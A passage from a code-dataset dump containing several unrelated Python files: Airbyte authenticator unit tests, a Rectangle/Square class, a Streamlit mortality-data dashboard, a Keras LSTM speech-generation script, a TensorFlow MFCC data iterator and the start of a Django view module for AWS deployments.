ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n#\n\n\nimport logging\n\nimport requests\nfrom airbyte_cdk.sources.streams.http.requests_native_auth import MultipleTokenAuthenticator, Oauth2Authenticator, TokenAuthenticator\nfrom requests import Response\n\nLOGGER = logging.getLogger(__name__)\n\n\ndef test_token_authenticator():\n \"\"\"\n Should match passed in token, no matter how many times token is retrieved.\n \"\"\"\n token_auth = TokenAuthenticator(token=\"test-token\")\n header1 = token_auth.get_auth_header()\n header2 = token_auth.get_auth_header()\n\n prepared_request = requests.PreparedRequest()\n prepared_request.headers = {}\n token_auth(prepared_request)\n\n assert {\"Authorization\": \"Bearer test-token\"} == prepared_request.headers\n assert {\"Authorization\": \"Bearer test-token\"} == header1\n assert {\"Authorization\": \"Bearer test-token\"} == header2\n\n\ndef test_multiple_token_authenticator():\n multiple_token_auth = MultipleTokenAuthenticator(tokens=[\"token1\", \"token2\"])\n header1 = multiple_token_auth.get_auth_header()\n header2 = multiple_token_auth.get_auth_header()\n header3 = multiple_token_auth.get_auth_header()\n\n prepared_request = requests.PreparedRequest()\n prepared_request.headers = {}\n multiple_token_auth(prepared_request)\n\n assert {\"Authorization\": \"Bearer token2\"} == prepared_request.headers\n assert {\"Authorization\": \"Bearer token1\"} == header1\n assert {\"Authorization\": \"Bearer token2\"} == header2\n assert {\"Authorization\": \"Bearer token1\"} == header3\n\n\nclass TestOauth2Authenticator:\n \"\"\"\n Test class for OAuth2Authenticator.\n \"\"\"\n\n refresh_endpoint = \"refresh_end\"\n client_id = \"client_id\"\n client_secret = \"client_secret\"\n refresh_token = \"refresh_token\"\n\n def test_get_auth_header_fresh(self, mocker):\n \"\"\"\n Should not retrieve new token if current token is valid.\n \"\"\"\n oauth = Oauth2Authenticator(\n token_refresh_endpoint=TestOauth2Authenticator.refresh_endpoint,\n client_id=TestOauth2Authenticator.client_id,\n client_secret=TestOauth2Authenticator.client_secret,\n refresh_token=TestOauth2Authenticator.refresh_token,\n )\n\n mocker.patch.object(Oauth2Authenticator, \"refresh_access_token\", return_value=(\"access_token\", 1000))\n header = oauth.get_auth_header()\n assert {\"Authorization\": \"Bearer access_token\"} == header\n\n def test_get_auth_header_expired(self, mocker):\n \"\"\"\n Should retrieve new token if current token is expired.\n \"\"\"\n oauth = Oauth2Authenticator(\n token_refresh_endpoint=TestOauth2Authenticator.refresh_endpoint,\n client_id=TestOauth2Authenticator.client_id,\n client_secret=TestOauth2Authenticator.client_secret,\n refresh_token=TestOauth2Authenticator.refresh_token,\n )\n\n expire_immediately = 0\n mocker.patch.object(Oauth2Authenticator, \"refresh_access_token\", return_value=(\"access_token_1\", expire_immediately))\n oauth.get_auth_header() # Set the first expired token.\n\n valid_100_secs = 100\n mocker.patch.object(Oauth2Authenticator, \"refresh_access_token\", return_value=(\"access_token_2\", valid_100_secs))\n header = oauth.get_auth_header()\n assert {\"Authorization\": \"Bearer access_token_2\"} == header\n\n def test_refresh_request_body(self):\n \"\"\"\n Request body should match given configuration.\n \"\"\"\n scopes = [\"scope1\", \"scope2\"]\n oauth = Oauth2Authenticator(\n token_refresh_endpoint=TestOauth2Authenticator.refresh_endpoint,\n client_id=TestOauth2Authenticator.client_id,\n client_secret=TestOauth2Authenticator.client_secret,\n refresh_token=TestOauth2Authenticator.refresh_token,\n scopes=scopes,\n )\n body = oauth.get_refresh_request_body()\n expected = {\n \"grant_type\": \"refresh_token\",\n \"client_id\": \"client_id\",\n \"client_secret\": \"client_secret\",\n \"refresh_token\": \"refresh_token\",\n \"scopes\": scopes,\n }\n assert body == expected\n\n def test_refresh_access_token(self, mocker):\n oauth = Oauth2Authenticator(\n token_refresh_endpoint=TestOauth2Authenticator.refresh_endpoint,\n client_id=TestOauth2Authenticator.client_id,\n client_secret=TestOauth2Authenticator.client_secret,\n refresh_token=TestOauth2Authenticator.refresh_token,\n )\n resp = Response()\n resp.status_code = 200\n\n mocker.patch.object(requests, \"request\", return_value=resp)\n mocker.patch.object(resp, \"json\", return_value={\"access_token\": \"access_token\", \"expires_in\": 1000})\n token = oauth.refresh_access_token()\n\n assert (\"access_token\", 1000) == token\n\n def test_auth_call_method(self, mocker):\n oauth = Oauth2Authenticator(\n token_refresh_endpoint=TestOauth2Authenticator.refresh_endpoint,\n client_id=TestOauth2Authenticator.client_id,\n client_secret=TestOauth2Authenticator.client_secret,\n refresh_token=TestOauth2Authenticator.refresh_token,\n )\n\n mocker.patch.object(Oauth2Authenticator, \"refresh_access_token\", return_value=(\"access_token\", 1000))\n prepared_request = requests.PreparedRequest()\n prepared_request.headers = {}\n oauth(prepared_request)\n\n assert {\"Authorization\": \"Bearer access_token\"} == prepared_request.headers\n","sub_path":"airbyte-cdk/python/unit_tests/sources/streams/http/requests_native_auth/test_requests_native_auth.py","file_name":"test_requests_native_auth.py","file_ext":"py","file_size_in_byte":6593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"123733813","text":"class Rectangle:\r\n def __init__(self, width, height):\r\n self.width = width\r\n self.height = height\r\n def __str__(self):\r\n return \"Rectangle(width=\" + str(self.width) + \", height=\" + str(self.height) + \")\"\r\n\r\n def set_width(self, width):\r\n self.width = width\r\n def set_height(self, height):\r\n self.height = height\r\n def get_area(self):\r\n return self.width * self.height\r\n def get_perimeter(self):\r\n return 2 * self.width + 2 * self.height\r\n def get_diagonal(self):\r\n return (self.width ** 2 + self.height ** 2) ** .5\r\n def get_picture(self):\r\n if (self.width > 50 or self.height > 50):\r\n return \"Too big for picture.\"\r\n picture = \"\"\r\n for x in range(self.height):\r\n for y in range(self.width):\r\n picture+=\"*\"\r\n if(y==self.width-1):\r\n picture+=\"\\n\"\r\n\r\n return picture\r\n\r\n def get_amount_inside(self, shape):\r\n # figure out which side is longer for the base shape\r\n wider = \"\"\r\n higher = \"\"\r\n num_loops = 1\r\n width_left = self.width\r\n height_left = self.height\r\n larger_side = max(self.width, self.height)\r\n\r\n if(larger_side==self.width):\r\n wider = True\r\n else:\r\n higher = True\r\n\r\n #check if the shorter side is 2x larger or more than shortest side of the object\r\n if(wider==True): # the short side is height\r\n num_loops = self.height // shape.height\r\n elif(higher==True): #the short side is width\r\n num_loops = self.width // shape.width\r\n\r\n count= 0\r\n while(num_loops>0 and shape.width >=0 and shape.height >=0): #cannot pass in negative or zero height/weight, will cause infinite loop\r\n if (wider):\r\n width_left-=shape.width\r\n if (width_left<0):\r\n if(num_loops==1):\r\n break\r\n else:\r\n num_loops-=1\r\n width_left=self.width # reset variable\r\n continue # restart loop\r\n count+=1\r\n if (higher):\r\n height_left-=shape.height\r\n if (height_left<0):\r\n if(num_loops==1):\r\n break\r\n else:\r\n num_loops-=1\r\n height_left=self.height\r\n continue\r\n count+=1\r\n\r\n return count\r\n\r\n\r\nclass Square(Rectangle):\r\n def __init__(self, side):\r\n self.width = side\r\n self.height = side\r\n\r\n def set_side(self, side):\r\n self.width = side\r\n self.height = side\r\n\r\n def __str__(self):\r\n return \"Square(side=\" + str(self.width) + \")\"\r\n \r\n","sub_path":"polygon_area.py","file_name":"polygon_area.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"504902926","text":"import streamlit as st\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport matplotlib.ticker as ticker\n\n#ao trabalhor com códigos, ao contrário do notebook que lemos de cima pra baixo, cria-se função para tudo de modo a deixar\n#claro o que está sendo feito e ORGANIZADO\n# função def main() que define a aplicação e faz várias coisas: recebe título, plotagem do dataframe, \n\n@st.cache\ndef carrega_dados(caminho):\n dados = pd.read_csv(caminho)\n return dados\n\ndef grafico_comparativo_2(dados_2019,dados_2020,causa=\"TODAS\",estado=\"BRASIL\"):\n\n if estado == \"BRASIL\":\n if causa == \"TODAS\":\n total_obitos_2019 = dados_2019[\"total\"].sum()\n total_obitos_2020 = dados_2020[\"total\"].sum()\n lista = [int(total_obitos_2019),int(total_obitos_2020)]\n else:\n total_obitos_2019 = dados_2019.groupby(\"tipo_doenca\")[\"total\"].sum()\n total_obitos_2020 = dados_2020.groupby(\"tipo_doenca\")[\"total\"].sum()\n lista = [int(total_obitos_2019.loc[causa]),int(total_obitos_2020.loc[causa])]\n else:\n if causa == \"TODAS\":\n total_obitos_2019 = dados_2019.groupby(\"uf\")[\"total\"].sum()\n total_obitos_2020 = dados_2020.groupby(\"uf\")[\"total\"].sum()\n lista = [int(total_obitos_2019.loc[estado]),int(total_obitos_2020.loc[estado])] \n else:\n total_obitos_2019 = dados_2019.groupby([\"tipo_doenca\",\"uf\"])[\"total\"].sum().unstack().fillna(0).stack()\n total_obitos_2020 = dados_2020.groupby([\"tipo_doenca\",\"uf\"])[\"total\"].sum().unstack().fillna(0).stack()\n\n lista = [int(total_obitos_2019.loc[causa,estado]),int(total_obitos_2020.loc[causa,estado])]\n\n dados = pd.DataFrame({\"Total\":lista,\n \"Ano\":[2019,2020]})\n\n fig, ax = plt.subplots()\n ax = sns.barplot(x=\"Ano\",y=\"Total\",data=dados)\n ax.set_title(f\"Óbitos por {causa} - {estado}\")\n ax.set_xlabel(\"Ano\")\n ax.set_ylabel(\"Óbitos\")\n ax.yaxis.set_major_formatter(ticker.StrMethodFormatter('{x:,.0f}'))\n\n \n for p in ax.patches:\n ax.annotate('{:,.0f}'.format(p.get_height()),(p.get_x()+0.4,p.get_height()),ha=\"center\",va=\"bottom\",color=\"black\", fontweight=\"bold\")\n\n return fig #não vamos plotar aqui a figura, apenas retorná-la para renderizar na main\n\ndef main():\n \n obitos_2019 = carrega_dados(\"dados/obitos_2019.csv\")\n obitos_2020 = carrega_dados(\"dados/obitos_2020.csv\")\n \n tipo_doenca = np.append(obitos_2020[\"tipo_doenca\"].unique(),\"TODAS\")\n estado = np.append(obitos_2020[\"uf\"].unique(),\"BRASIL\")\n ver_tabela = [\"Não\",\"Sim\"]\n \n\n st.title(\"Análise Óbitos 2019-2020 :man-cartwheeling:\")\n st.markdown(\"Este trabalho analisa dados dos **óbitos 2019-2020**\") #**para deixar em negrito/bold\n st.text(\"Projeto e fontes em: https://github.com/jpducatti/streamlit_covid\")\n \n opcao_1 = st.sidebar.selectbox(\"Selecione o tipo de doença\",\n tipo_doenca)\n opcao_2 = st.sidebar.selectbox(\"Selecione o estado\",\n estado)\n opcao_3 = st.sidebar.selectbox(\"Gostaria de ver a base de dados?\",\n ver_tabela) \n figura = grafico_comparativo_2(obitos_2019,obitos_2020,\n opcao_1,opcao_2)\n\n st.pyplot(figura) #deixar para o main renderizar o gráfico\n if opcao_3 == \"Sim\":\n st.text(\"Tabela de dados 2019\")\n st.dataframe(obitos_2019)\n st.text(\"Tabela de dados 2020\")\n st.dataframe(obitos_2020)\n else:\n pass\n\n#indica que o python ao rodar script roda primeira a função main\nif __name__ == \"__main__\": \n main()\n\n\n\n","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"307604031","text":"from __future__ import print_function\nfrom __future__ import absolute_import\n\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout\nfrom keras.optimizers import RMSprop\nfrom keras.layers.recurrent import LSTM\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint\n\nimport pickle\nimport numpy as np\nimport speechRNN_utils as sp\nimport matplotlib\n# Force matplotlib to not use any Xwindows backend.\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\n\ndef load(n=0, cut=0, use_delta=False, timesteps=100, shift=10):\n # pre-processing of data:\n # - downsample data from 44.1KHz to 16KHz: python downsample.py\n # - extract audio features: sudo ./ahocoder.sh\n # - extract derivatives of audio features: sudo ./extractdelta.sh\n\n data = sp.load_ahocoder_data(n, use_delta=use_delta)\n interp_data = []\n vuv_data = []\n for sample in data:\n sample = sample[cut:sample.shape[0]-cut, :]\n vuv = sp.get_vuv_flag(sample, use_delta=use_delta)\n sample = sp.interp_uv(sample, use_delta=use_delta)\n interp_data.append(sample)\n vuv_data.append(vuv)\n\n data = sp.split_samples(interp_data, timesteps, shift)\n vuv = sp.split_samples(vuv_data, timesteps, shift)\n interp_data = vuv_data = None # free some space\n data = np.dstack(data).transpose((2, 0, 1))\n vuv = np.dstack(vuv).transpose((2, 0, 1))\n data = np.concatenate((data, vuv), -1)\n return data\n\n\ndef preprocess(data, mu=None, sigma=None):\n data, mu, sigma = sp.normalize_data(data, mu, sigma)\n return data, mu, sigma\n\n\ndef build(timesteps, input_dim, pred_len=1, M=None):\n if M is None: # linear output layer\n model = Sequential()\n model.add(LSTM(128, return_sequences=True,\n input_shape=(timesteps, input_dim)))\n model.add(Dropout(0.2))\n model.add(LSTM(128, return_sequences=False))\n model.add(Dropout(0.2))\n # model.add(TimeDistributedDense(input_dim))\n # model.add(Flatten())\n model.add(Dense(input_dim))\n model.add(sp.LinearVUVActivation())\n # model.compile(loss='mse', optimizer=RMSprop(clipvalue=10))\n model.compile(loss=sp.mse_crossentropy, optimizer=RMSprop(clipvalue=10))\n else: # GMM output layer\n model = Sequential()\n # model.add(GaussianNoise(0.01, input_shape=(timesteps, input_dim)))\n model.add(LSTM(128, return_sequences=True,\n input_shape=(timesteps, input_dim)))\n model.add(Dropout(0.2))\n model.add(LSTM(128, return_sequences=False))\n model.add(Dropout(0.2))\n model.add(Dense((input_dim-1+2)*M+1))\n # model.add(Dense((input_dim+2)*M))\n model.add(sp.GMMActivation(M))\n model.compile(loss=sp.gmm_loss, optimizer=RMSprop(clipvalue=10))\n # model.compile(loss=sp.gmm_loss, optimizer='adam')\n # model.compile(loss=sp.gmm_loss, optimizer=Adam(clipvalue=10))\n # model.compile(loss=sp.gmm_loss, optimizer=SGD(lr=0.01, decay=1e-6, momentum=0.9, nesterov=True, clipvalue=10))\n\n return model\n\n\ndef predict(X_test, model, pred_len=1, gen_len=0, M=None):\n generated = []\n alphas = []\n sigmas = []\n nb_samples, timesteps, input_dim = X_test.shape\n\n # sample start sequence from data\n idx = np.random.randint(nb_samples)\n signal = X_test[idx, :, :].reshape(1, timesteps, input_dim)\n\n for n in range(0, gen_len, pred_len):\n if (n % 500) == 0:\n print(\"Predictions completed: \" + str(n+1) + \"/\" + str(gen_len))\n\n preds = model.predict(signal, verbose=0)[0]\n if M is not None:\n preds, sigma, weights = sp.sample(preds, M)\n alphas.append(weights)\n sigmas.append(sigma)\n generated.append(preds)\n signal = np.concatenate((signal[:, pred_len:, :],\n preds.reshape((1, pred_len, input_dim))), 1)\n\n print(\"Predictions completed: \" + str(n+1) + \"/\" + str(gen_len))\n pred = np.vstack(generated)\n if M is not None:\n alphas = np.vstack(alphas)\n sigmas = np.vstack(sigmas)\n else:\n alphas = None\n sigmas = None\n\n return pred, idx, sigmas, alphas\n\n\ndef postprocess(data, approach, pred_len, use_delta=False,\n X_train=None, sigma=None, sigma_gmm=None):\n if use_delta:\n (mcp, mcpd, mcpdd), (lf0, lf0d, lf0dd), (mfv, mfvd, mfvdd), vuv = \\\n sp.split_features(data, use_vuv=True)\n data = np.hstack((mcp, lf0, mfv, mcpd, lf0d, mfvd,\n mcpdd, lf0dd, mfvdd))\n if sigma_gmm is None:\n variance = np.repeat(np.expand_dims(np.square(sigma), 0),\n pred_len, 0)\n else:\n variance = np.repeat(np.square(sigma_gmm), data.shape[1], 1)\n\n # data = sp.mlpg(data, variance, approach)\n data = np.hstack((mcp, lf0, mfv))\n data = sp.replace_uv(data, vuv)\n else:\n data = sp.replace_uv(data)\n\n return data\n\n\ndef visualize_result(pred, approach, test_sample=None,\n gen_speech=True, vuv=None, alphas=None):\n\n if test_sample is not None:\n plt.figure()\n plt.xlabel('t')\n plt.ylabel('mcp')\n plt.imshow(test_sample[:, :40].T,\n aspect='auto', interpolation='nearest', origin='lower')\n plt.savefig(\"img/orig_\"+approach+\".png\", dpi=100, bbox_inches='tight')\n\n plt.figure()\n plt.xlabel('t')\n plt.ylabel('mcp')\n plt.imshow(np.vstack((test_sample[:, :40], pred[:, :40])).T,\n aspect='auto', interpolation='nearest', origin='lower')\n # plt.vlines(test_sample.shape[0], 0, 38, linestyles='dashdot')\n plt.axvline(x=test_sample.shape[0], linewidth=2, color='black')\n plt.savefig(\"img/origpred_\"+approach+\".png\", dpi=100, bbox_inches='tight')\n\n if alphas is None and not gen_speech:\n return # no need to plot the rest\n\n nplots = 1 + (alphas is not None) + gen_speech\n\n plt.figure()\n ax1 = plt.subplot2grid((2+nplots, 5), (0, 0), rowspan=3, colspan=5)\n\n # f, axarr = plt.subplots(nplots, sharex=True)\n ax1.set_ylabel('mcp')\n ax1.imshow(pred[:, :40].T, aspect='auto', interpolation='nearest', origin='lower')\n # axarr[0].savefig(\"img/pred_\"+approach+\".png\", dpi=100)\n\n if alphas is not None:\n # plt.figure()\n # plt.imshow(alphas.T, interpolation=\"nearest\", aspect=\"auto\")\n if alphas.shape[0] == pred.shape[0]:\n sharex = ax1\n else:\n sharex = None\n ax2 = plt.subplot2grid((2+nplots, 5), (3, 0), rowspan=1, colspan=5, sharex=sharex)\n ax2.imshow(alphas.T, aspect='auto', interpolation=\"nearest\")\n # plt.colorbar()\n # plt.axis('off')\n # plt.xlabel('t')\n ax2.set_ylabel('alpha')\n ax2.get_yaxis().set_ticks([])\n # plt.savefig(\"img/weight_act_\"+approach+\".png\", dpi=100)\n\n if gen_speech:\n if vuv is None:\n vuv = pred[:, -1]\n vuv = np.expand_dims(vuv, 0)\n\n if vuv.shape[0] == pred.shape[0]:\n sharex = ax1\n else:\n sharex = None\n # plt.figure()\n ax3 = plt.subplot2grid((2+nplots, 5), (2+nplots-1, 0), rowspan=1, colspan=5, sharex=sharex)\n ax3.imshow(vuv, aspect='auto', interpolation=\"nearest\")\n # plt.xlabel('t')\n # plt.axis('off')\n ax3.set_ylabel('vuv')\n ax3.get_yaxis().set_ticks([])\n # plt.savefig(\"img/vuvpred_\"+approach+\".png\", dpi=100)\n\n plt.xlabel('t')\n plt.tight_layout()\n plt.savefig(\"img/enhpred_\"+approach+\".png\", dpi=100, bbox_inches='tight')\n\n\ndef viz_speech_results(approach, npredictions):\n for i in range(1, npredictions+1):\n pred, vuv, alphas = sp.load_speech_results(str(i)+\"_\"+approach)\n visualize_result(pred, str(i)+\"_\"+approach, vuv=vuv, alphas=alphas)\n\n\ndef debug(model):\n pass\n # w = sp.get_layer_weights(2, model)[0]\n # plt.imshow(w)\n # plt.hist(w.flatten())\n # plt.show()\n\n # a = sp.get_layer_outputs(2, model, np.expand_dims(X_test[0,:,:], 0))\n # plt.hist(a.flatten())\n # plt.show()\n\n # find data/pred/wav16/ -type f -name \"*.wav\" > split_ids.txt\n # python fbank_features/signal2logspec.py -p\n # python fbank_features/logspec_viewer.py\n\n # keep track of variance of activations\n\napproach = \"2lstm_lin\"\ngen_speech = True\ndebug_mode = False\n\nload_weights = False\nnb_rawsamples = 0\ntimesteps = 100\nshift = 10\nbatch_size = 128\nnb_epoch = 100\npred_len = 1\ngen_len = 2000\ncut = 50 # no. timesteps removed at beginning and end of each sample\nuse_delta = False\nM = None # no of GMM components, or None\npatience = 10\nnpredictions = 5\n\nif not gen_speech:\n use_delta = False\nif M == 0:\n raise ValueError(\"M should be greater than zero or None.\")\n\nif debug_mode: # reduce computations to allow local debugging\n nb_rawsamples = 1\n nb_epoch = 1\n gen_len = 10\n npredictions = 1\n\n#### print params\nprint(\"Approach: \" + approach)\nprint(\"Generate speech: \" + str(gen_speech))\nprint(\"Load weights: \" + str(load_weights))\nprint(\"Samples: \" + str(nb_rawsamples))\nprint(\"Timestamps: \" + str(timesteps))\nprint(\"Shift: \" + str(shift))\nprint(\"Batch size: \" + str(batch_size))\nprint(\"Epochs: \" + str(nb_epoch))\nprint(\"Prediction length: \" + str(pred_len))\nprint(\"Generation length: \" + str(gen_len))\nprint(\"Cut: \" + str(cut))\nprint(\"Use delta: \" + str(use_delta))\nprint(\"M: \" + str(M))\nprint(\"Patience: \" + str(patience))\n\nprint(\"Load data\")\nif gen_speech:\n data = load(nb_rawsamples, cut, use_delta, timesteps, shift)\nelse:\n data = sp.load_spectrogram_data(nb_rawsamples)\n data = sp.split_samples(data, timesteps, shift)\n data = np.dstack(data).transpose((2, 0, 1))\n # vuv = np.expand_dims(np.ones(data.shape[0:2]), 2)\n # data = np.concatenate((data, vuv), -1)\n\n(X_train, y_train), (X_test, y_test) = sp.train_test_split(data, pred_len)\nnb_samples, timesteps, input_dim = X_train.shape\ndata = None # free some space\n\nprint(\"Preprocess data\")\n# exclude vuv bit from normalization\nif gen_speech or M is not None:\n X_train[:, :, :-1], mu, sigma = preprocess(X_train[:, :, :-1])\n y_train[:, :, :-1], _, _ = preprocess(y_train[:, :, :-1], mu, sigma)\n X_test[:, :, :-1], _, _ = preprocess(X_test[:, :, :-1], mu, sigma)\n y_test[:, :, :-1], _, _ = preprocess(y_test[:, :, :-1], mu, sigma)\nelse:\n X_train, mu, sigma = preprocess(X_train)\n y_train, _, _ = preprocess(y_train, mu, sigma)\n X_test, _, _ = preprocess(X_test, mu, sigma)\n y_test, _, _ = preprocess(y_test, mu, sigma)\n\ny_train = y_train[:, 0, :] # only do single step prediction for now\ny_train = np.squeeze(y_train)\ny_test = np.squeeze(y_test)\n\nprint(\"Build model\")\nearly_stopping = EarlyStopping(monitor='val_loss', patience=patience)\ncheckpointer = ModelCheckpoint(\n filepath=\"weights/\" + \"weights_\" + approach + \".hdf5\",\n verbose=1, save_best_only=True)\ncallbacks = [early_stopping, checkpointer]\nmodel = build(timesteps, input_dim, pred_len=pred_len, M=M)\n\nif load_weights:\n print(\"Load weights\")\n # json = open(\"models/\"+\"model_\"+approach+\".json\").read()\n # custom_objects = {\"GMMActivation\": sp.GMMActivation,\n # \"gmm_loss\": sp.gmm_loss}\n # model = model_from_json(json, custom_objects)\n model.load_weights(\"weights/\" + \"weights_\" + approach + \".hdf5\")\nelse:\n print(\"Train model\")\n hist = model.fit(X_train, y_train, batch_size=batch_size,\n nb_epoch=nb_epoch, validation_split=0.1,\n callbacks=callbacks)\n sp.plot_lc(hist, to_file=\"img/lc_\" + approach + \".png\")\n # plot(model, to_file=\"img/model_\" + approach + \".png\")\n\n with open('eval/hist_' + approach + '.np', 'wb') as handle:\n pickle.dump(hist.history, handle)\n\n open(\"models/\"+\"model_\"+approach+\".json\", 'w').write(model.to_json())\n\nfor i in range(1, npredictions+1):\n print(\"Predict\")\n pred, test_idx, sigma_gmm, alphas = predict(X_test, model, pred_len=1,\n gen_len=gen_len, M=M)\n fname = \"pred_\" + str(i) + \"_\" + approach\n pred_file = open(\"data/pred/raw/\" + fname + '.np', 'wb')\n pred.tofile(pred_file)\n pred_file.close()\n\n if y_test.ndim == 3: # only makes sense for larger trajectories\n if gen_speech:\n mmcd, rmse, class_err = sp.evaluate(y_test[test_idx, :, :],\n pred[:pred_len, :])\n metrics = [mmcd, rmse, class_err]\n else:\n mmcd = sp.mmcd(y_test[test_idx, :, :], pred[:pred_len, :])\n metrics = [mmcd]\n metrics_file = open(\"eval/metrics_\" + str(i) + \"_\" + approach + '.np', 'wb')\n metrics.tofile(metrics_file)\n metrics_file.close()\n\n if gen_speech:\n pred[:, -1] = np.round(pred[:, -1])\n pred[:, :-1] = sp.denormalize_data(pred[:, :-1], mu, sigma)\n # pred[:, :-1] = sp.scale_output(X_train[:, :, :-1], pred[:, :-1])\n test_sample = sp.denormalize_data(X_test[test_idx, :, :-1], mu, sigma)\n else:\n if M is None:\n pred = sp.denormalize_data(pred, mu, sigma)\n test_sample = sp.denormalize_data(X_test[test_idx, :, :], mu, sigma)\n else:\n pred[:, :-1] = sp.denormalize_data(pred[:, :-1], mu, sigma)\n test_sample = sp.denormalize_data(X_test[test_idx, :, :-1], mu, sigma)\n\n with open('data/pred/spectrogram/' + str(i) + \"_\" + approach +\n '.logspec.npy', 'wb') as handle:\n pickle.dump(pred, handle)\n\n matplotlib.rcParams.update({'font.size': 18})\n visualize_result(pred, str(i) + \"_\" + approach, test_sample,\n gen_speech, alphas=alphas)\n\n if gen_speech:\n with open('data/pred/wav16/' + str(i) + \"_\" + approach +\n '.vuv.npy', 'wb') as handle:\n pickle.dump(pred[:, -1], handle)\n with open('data/pred/wav16/' + str(i) + \"_\" + approach +\n '.alpha.npy', 'wb') as handle:\n pickle.dump(alphas, handle)\n pred = postprocess(pred, str(i) + \"_\" + approach, pred_len, use_delta=use_delta,\n X_train=X_train, sigma=sigma, sigma_gmm=sigma_gmm)\n sp.save_ahocoder_pred(pred, fname)\n","sub_path":"speechRNN.py","file_name":"speechRNN.py","file_ext":"py","file_size_in_byte":14240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"488829692","text":"from tf_common_settings import *\nimport os\nos.chdir('..')\ndirpath = os.getcwd()\nprint(\"current directory is : \" + dirpath)\nSSD, int_type = UsePlatform()\nn_feature_dim = 39\ndecode_dic = [\"AA\", \"AE\", \"AH\", \"AO\", \"AW\", \"AX\", \"AY\", \"B\", \"CH\", \"D\", \"DH\", \"EH\", \"ER\", \"EY\",\n \"F\", \"G\", \"HH\", \"IH\", \"IY\", \"JH\", \"K\", \"L\", \"M\", \"N\", \"NG\", \"OW\", \"OY\", \"P\",\n \"R\", \"S\", \"SH\", \"T\", \"TH\", \"UH\", \"UW\", \"V\", \"W\", \"Y\", \"Z\", \"ZH\", \"SIL\", \"\"]\n\n\ndef load_binary_class_list(file_name):\n import numpy\n with open(file_name, 'rb') as fid_lab:\n features = numpy.fromfile(fid_lab, dtype=numpy.float32)\n features = numpy.array(features, 'int')\n return features\n\n\ndef parse_x(x_filename):\n import sys\n x_file = x_filename.decode(sys.getdefaultencoding())\n in_features, lab_frame_number = load_binary_file_frame(x_file, n_feature_dim)\n return [in_features]\n\n\ndef parse_y(y_filename):\n out_features = load_binary_class_list(y_filename)\n # print(y, type(y))\n out_features = [y for y in out_features if y != 41]\n return [out_features]\n\n\ndef create_dataset(file_list, batch_size=64, input_type=\"x\"):\n \"\"\"config = [parse_function, data_type, padded_shapes, padded_values]\"\"\"\n if input_type == \"x\":\n config = [parse_x, tf.float32, ([None, 39]), 0.0]\n else:\n config = [parse_y, int_type, ([None]), (tf.constant(-1, dtype=int_type))]\n\n dataset = tf.data.Dataset.from_tensor_slices(file_list)\n dataset = dataset.map(lambda filename: tf.py_func(config[0], [filename], config[1]),\n num_parallel_calls=1)\n dataset = dataset.padded_batch(batch_size,\n padded_shapes=config[2],\n padding_values=config[3])\n return dataset\n\n\nWSJ_x_all_list = read_file_list(\"data/mfcc/$WSJ/mfcc_WSJ_lpfVector_feature.txt\")[:640] # [:76800]\nOKGoogle_x_list = read_file_list(\"data/mfcc/$OKGoogle/Studio_PC_16k_Google_mfcc.txt\")[:256]\nWSJ_dataset_x = create_dataset(WSJ_x_all_list)\nOKGoogle_dataset_x = create_dataset(OKGoogle_x_list)\n\nWSJ_y_all_list = read_file_list(\"data/mfcc/$WSJ/ctc_label_path_WSJ.txt\")[:640] # [:76800]\nOKGoogle_y_list = read_file_list(\"data/mfcc/$OKGoogle/Phone_OKGoogle.txt\")[:256]\nWSJ_dataset_y = create_dataset(WSJ_y_all_list, input_type=\"y\")\nOKGoogle_dataset_y = create_dataset(OKGoogle_y_list, input_type=\"y\")\n\nWSJ_dataset = tf.data.Dataset.zip((WSJ_dataset_x, WSJ_dataset_y))\nOKGoogle_dataset = tf.data.Dataset.zip((OKGoogle_dataset_x, OKGoogle_dataset_y))\n\n\n# Iterator\niterator = tf.data.Iterator.from_structure(WSJ_dataset.output_types,\n WSJ_dataset.output_shapes)\nWSJ_init_op = iterator.make_initializer(WSJ_dataset)\nOKGoogle_init_op = iterator.make_initializer(OKGoogle_dataset)\n\nin_fea, out_fea = iterator.get_next()\n\ninit_op = tf.global_variables_initializer()\n\nsess = tf.Session()\n# sess.run([init_op, OKGoogle_init_op])\nsess.run([init_op, WSJ_init_op])\ninput_fea, label = sess.run([in_fea, out_fea])\nprint(input_fea.shape, label)\n\n# aaa = [decode_dic[int(l)] for l in label[0]]\n# print(aaa)\n","sub_path":"code/iterator.py","file_name":"iterator.py","file_ext":"py","file_size_in_byte":3103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"586132248","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.shortcuts import render\nfrom django.views.decorators.csrf import *\n\nfrom aws_deploy import *\n\nfrom django.http import JsonResponse\n\nimport json\n\n\n@csrf_protect\ndef index(request):\n\n\treturn render(request, 'temp/index.html',{})\n\n@csrf_protect\ndef createApp(request):\n\tval = \"\"\n\tif(request.method == \"POST\"):\n\t\tget_appName = request.POST[\"appName\"]\n\n\t\tval = createApplicationForHTML(get_appName)\n\n\treturn render(request, 'temp/createApp.html',{\"htmlVal\" : val})\n\n\n\n\n@csrf_protect\ndef listApp(request):\n\tapps = listApplicationsForHTML()\n\n\treturn render(request, 'temp/listApp.html',{ \"listAppsHTML\" : apps })\n\n\n\n\n@csrf_protect\ndef listDeps(request):\n\tapps = listDeploymentsIDForHTML()\n\n\treturn render(request, 'temp/listDep.html',{ \"listDepsHTML\" : apps })\n\n\n\n@csrf_protect\ndef getApp(request):\n\n\tval = \"\"\n\tif(request.method == \"POST\"):\n\t\tval = request.POST[\"appName\"]\n\t\n\t\tval = 